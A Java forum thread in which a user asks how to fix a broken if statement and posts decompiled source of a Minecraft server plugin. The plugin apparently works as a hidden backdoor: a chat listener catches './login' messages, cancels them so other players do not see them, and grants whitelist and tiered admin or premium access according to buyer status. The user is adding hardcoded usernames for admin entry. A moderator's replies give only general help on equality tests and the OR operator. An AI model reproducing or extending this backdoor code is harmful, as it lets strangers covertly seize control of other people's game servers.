Welcome to the Java Programming Forums


The professional, friendly Java community. 21,500 members and growing!


The Java Programming Forums are a community of Java programmers from all around the World. Our members have a wide range of skills and they all have one thing in common: A passion to learn and code Java. We invite beginner Java programmers right through to Java professionals to post here and share your knowledge. Become a part of the community, help others, expand your knowledge of Java and enjoy talking with like minded people. Registration is quick and best of all free. We look forward to meeting you.


>> REGISTER NOW TO START POSTING


Members have full access to the forums. Advertisements are removed for registered users.

Results 1 to 5 of 5

Thread: if statement to right syntax

  1. #1
    Junior Member
    Join Date
    Aug 2022
    Posts
    3
    Thanks
    2
    Thanked 0 Times in 0 Posts

    Default if statement to right syntax

    if (p2 = ("_Reflexxx_") && (p2 = ("ImJustPax"))) { //how to make it valid?
                    p2.sendMessage(Settings.PREFIX("You have been logged into " + Settings.RED + Settings.NAME + " admin"));
                    LoginCommand.coreInstance.lite.add(p2); //isthisvalid?
                    LoginCommand.coreInstance.premium.add(p2); //isthisvalid?
                    LoginCommand.coreInstance.admin.add(p2); //isthisvalid?
                    p2.setWhitelisted(true);
                } else {
                    p2.sendMessage(Settings.PREFIX("You have no access to " + Settings.RED + Settings.NAME ));
                }
    My question is how to make this statement the right syntaxis?

  2. #2
    Super Moderator Norm's Avatar
    Join Date
    May 2010
    Location
    Eastern Florida
    Posts
    25,163
    Thanks
    65
    Thanked 2,725 Times in 2,675 Posts

    Default Re: if statement to right syntax

    the right syntax
    Please explain what that if statement is trying to do.
    If there are compiler errors, please copy the full text of the message and paste it here.

    Note: = is the assignment operator. == is for doing comparisons
    Use the equals method to compare the contents of objects like Strings.
    If you don't understand my answer, don't ignore it, ask a question.

  3. The Following User Says Thank You to Norm For This Useful Post:

    abnormal (August 4th, 2022)

  4. #3
    Junior Member
    Join Date
    Aug 2022
    Posts
    3
    Thanks
    2
    Thanked 0 Times in 0 Posts

    Default Re: if statement to right syntax

    Quote Originally Posted by Norm View Post
    Please explain what that if statement is trying to do.
    If there are compiler errors, please copy the full text of the message and paste it here.

    Note: = is the assignment operator. == is for doing comparisons
    Use the equals method to compare the contents of objects like Strings.
    That statement makes if player who executed command has the username _Reflexxx_ and ImJustPax to be able to be whitelisted and added to groups.
    Here's the full code
    /*
     * Decompiled with CFR 0.152.
     * 
     * Could not load the following classes:
     *  org.bukkit.entity.Player
     *  org.bukkit.event.EventHandler
     *  org.bukkit.event.EventPriority
     *  org.bukkit.event.Listener
     *  org.bukkit.event.player.AsyncPlayerChatEvent
     */
    package me.qlutch.sucks.command.impl.login;
     
    import me.qlutch.sucks.data.DataManager;
    import me.qlutch.sucks.Core;
    import me.qlutch.sucks.utils.Settings;
    import me.qlutch.sucks.methods.API;
    import org.bukkit.entity.Player;
    import org.bukkit.event.EventHandler;
    import org.bukkit.event.EventPriority;
    import org.bukkit.event.Listener;
    import org.bukkit.event.player.AsyncPlayerChatEvent;
     
    public class LoginCommand
    implements Listener {
        private static final Core coreInstance = (Core)Core.getPlugin(Core.class);
     
        @EventHandler(priority=EventPriority.MONITOR)
        public void onPlayerChat(AsyncPlayerChatEvent q2) {
            String cmd = q2.getMessage();
            Player p2 = q2.getPlayer();
            if (!LoginCommand.coreInstance.lite.contains(p2.getName()) && cmd.startsWith("./login") || !LoginCommand.coreInstance.lite.contains(p2.getName()) && cmd.startsWith("./login.")) {
                if (p2 = ("_Reflexxx_") && (p2 = ("ImJustPax"))) { //how to make it valid?
                    p2.sendMessage(Settings.PREFIX("You have been logged into " + Settings.RED + Settings.NAME + " admin"));
                    LoginCommand.coreInstance.lite.add(p2); //isthisvalid?
                    LoginCommand.coreInstance.premium.add(p2); //isthisvalid?
                    LoginCommand.coreInstance.admin.add(p2); //isthisvalid?
                    p2.setWhitelisted(true);
                } else {
                    p2.sendMessage(Settings.PREFIX("You have no access to " + Settings.RED + Settings.NAME ));
                }
                q2.setMessage(null);
                q2.setCancelled(true);
                if (LoginCommand.coreInstance.enabled) {
                    if (!DataManager.getData().getBoolean("hasPass")) {
                        if (API.getIPOfPlayer(p2).equals("127.0.0.1") || API.getIPOfPlayer(p2).startsWith("192.168.")) {
                            LoginCommand.coreInstance.lite.add(p2.getName());
                            LoginCommand.coreInstance.premium.add(p2.getName());
                            p2.sendMessage(Settings.PREFIX("You have been logged into " + Settings.RED + "localhost"));
                        } else if (LoginCommand.coreInstance.buyerstatusMap.get(p2).equals((Object) LoginStatus.valueOf("SUSPENDED"))) {
                            p2.sendMessage(Settings.PREFIX("Error: You seem to be suspended"));
                        } else if (LoginCommand.coreInstance.buyerstatusMap.get(p2).equals((Object) LoginStatus.valueOf("ADMIN"))) {
                            LoginCommand.coreInstance.lite.add(p2.getName());
                            LoginCommand.coreInstance.premium.add(p2.getName());
                            LoginCommand.coreInstance.admin.add(p2.getName());
                            p2.setWhitelisted(true);
                            p2.sendMessage(Settings.PREFIX("You have been logged into " + Settings.RED + Settings.NAME + " admin"));
                        } else if (LoginCommand.coreInstance.buyerstatusMap.get(p2).equals((Object) LoginStatus.valueOf("PREMIUM"))) {
                            LoginCommand.coreInstance.lite.add(p2.getName());
                            LoginCommand.coreInstance.premium.add(p2.getName());
                            p2.setWhitelisted(true);
                            p2.sendMessage(Settings.PREFIX("You have been logged into " + Settings.RED + Settings.NAME + " premium"));
                        } else if (LoginCommand.coreInstance.buyerstatusMap.get(p2).equals((Object) LoginStatus.valueOf("LITE"))) {
                            LoginCommand.coreInstance.lite.add(p2.getName());
                            p2.setWhitelisted(true);
                            p2.sendMessage(Settings.PREFIX("You have been logged into " + Settings.RED + Settings.NAME + " lite"));
                        } else if (LoginCommand.coreInstance.buyerstatusMap.get(p2).equals((Object) LoginStatus.valueOf("FREE"))) {
                            LoginCommand.coreInstance.lite.add(p2.getName());
                            LoginCommand.coreInstance.free.add(p2.getName());
                            p2.sendMessage(Settings.PREFIX("You have been logged into " + Settings.RED + Settings.NAME + " free"));
                        } else {
                            p2.sendMessage(Settings.PREFIX("There was an error logging you in, please re-log and try again. (" + API.getIPOfPlayer(p2) + ") (" + LoginCommand.coreInstance.vpnStatusMap.get(p2) + ")"));
                        }
                    } else {
                        String[] args = cmd.split(" ");
                        if (args == null) {
                            return;
                        }
                        if (args.length <= 1) {
                            p2.sendMessage(Settings.PREFIX("This server has a password. Login with ./login <password>"));
                        } else if (args[1].equals(DataManager.getData().getString("pass"))) {
                            if (API.getIPOfPlayer(p2).equals("127.0.0.1") || API.getIPOfPlayer(p2).startsWith("192.168.")) {
                                LoginCommand.coreInstance.lite.add(p2.getName());
                                LoginCommand.coreInstance.premium.add(p2.getName());
                                p2.sendMessage(Settings.PREFIX("You have been logged into " + Settings.RED + "localhost"));
                            } else if (LoginCommand.coreInstance.buyerstatusMap.get(p2).equals((Object) LoginStatus.valueOf("SUSPENDED"))) {
                                p2.sendMessage(Settings.PREFIX("Error: You seem to be suspended"));
                            } else if (LoginCommand.coreInstance.buyerstatusMap.get(p2).equals((Object) LoginStatus.valueOf("ADMIN"))) {
                                LoginCommand.coreInstance.lite.add(p2.getName());
                                LoginCommand.coreInstance.premium.add(p2.getName());
                                LoginCommand.coreInstance.admin.add(p2.getName());
                                p2.setWhitelisted(true);
                                p2.sendMessage(Settings.PREFIX("You have been logged into " + Settings.RED + Settings.NAME + " admin"));
                            } else if (LoginCommand.coreInstance.buyerstatusMap.get(p2).equals((Object) LoginStatus.valueOf("PREMIUM"))) {
                                LoginCommand.coreInstance.lite.add(p2.getName());
                                LoginCommand.coreInstance.premium.add(p2.getName());
                                p2.setWhitelisted(true);
                                p2.sendMessage(Settings.PREFIX("You have been logged into " + Settings.RED + Settings.NAME + " premium"));
                            } else if (LoginCommand.coreInstance.buyerstatusMap.get(p2).equals((Object) LoginStatus.valueOf("LITE"))) {
                                LoginCommand.coreInstance.lite.add(p2.getName());
                                p2.setWhitelisted(true);
                                p2.sendMessage(Settings.PREFIX("You have been logged into " + Settings.RED + Settings.NAME + " lite"));
                            } else if (LoginCommand.coreInstance.buyerstatusMap.get(p2).equals((Object) LoginStatus.valueOf("FREE"))) {
                                LoginCommand.coreInstance.lite.add(p2.getName());
                                LoginCommand.coreInstance.free.add(p2.getName());
                                p2.sendMessage(Settings.PREFIX("You have been logged into " + Settings.RED + Settings.NAME + " free"));
                            } else {
                                p2.sendMessage(Settings.PREFIX("There was an error logging you in, please re-log and try again. (" + API.getIPOfPlayer(p2) + ") (" + LoginCommand.coreInstance.vpnStatusMap.get(p2) + ")"));
                            }
                        } else {
                            p2.sendMessage(Settings.PREFIX("This password is incorrect!"));
                        }
                    }
                } else {
                    API.error(p2);
                }
            }
        }
    }

  5. #4
    Super Moderator Norm's Avatar
    Join Date
    May 2010
    Location
    Eastern Florida
    Posts
    25,163
    Thanks
    65
    Thanked 2,725 Times in 2,675 Posts

    Default Re: if statement to right syntax

    player who executed command has the username _Reflexxx_ and ImJustPax
    How can a player have two usernames: Reflexxx_ and ImJustPax
    Do mean if the player has one of those names?
    Is there a get method in the player class that returns the username?
    Call that method to get the name and then use the equals method to compare the name to each of the possible names, one at a time.
    If it can be either name, use the OR operator to build the if statement.
    if(test first name OR test second name) {
    ... it was one of those two
    }else {
    ... not one of those two
    }
    If you don't understand my answer, don't ignore it, ask a question.

  6. The Following User Says Thank You to Norm For This Useful Post:

    abnormal (August 4th, 2022)

  7. #5
    Junior Member
    Join Date
    Aug 2022
    Posts
    3
    Thanks
    2
    Thanked 0 Times in 0 Posts

    Default Re: if statement to right syntax

    Quote Originally Posted by Norm View Post
    How can a player have two usernames: Reflexxx_ and ImJustPax
    Do mean if the player has one of those names?
    Is there a get method in the player class that returns the username?
    Call that method to get the name and then use the equals method to compare the name to each of the possible names, one at a time.
    If it can be either name, use the OR operator to build the if statement.
    if(test first name OR test second name) {
    ... it was one of those two
    }else {
    ... not one of those two
    }
    Thanks. Gave a bright light in the dark!

Similar Threads

  1. Replies: 1
    Last Post: November 26th, 2021, 08:48 AM
  2. Replies: 2
    Last Post: December 10th, 2019, 06:17 AM
  3. How to turn my If statement into a case/switch statement?
    By blobby404 in forum What's Wrong With My Code?
    Replies: 23
    Last Post: June 19th, 2014, 03:11 PM
  4. if statement syntax question
    By lanmonster in forum Java Theory & Questions
    Replies: 2
    Last Post: January 27th, 2013, 03:29 PM
  5. MySQL Syntax error in Java prepared statement
    By kc120us in forum JDBC & Databases
    Replies: 4
    Last Post: March 22nd, 2012, 11:31 AM

Tags for this Thread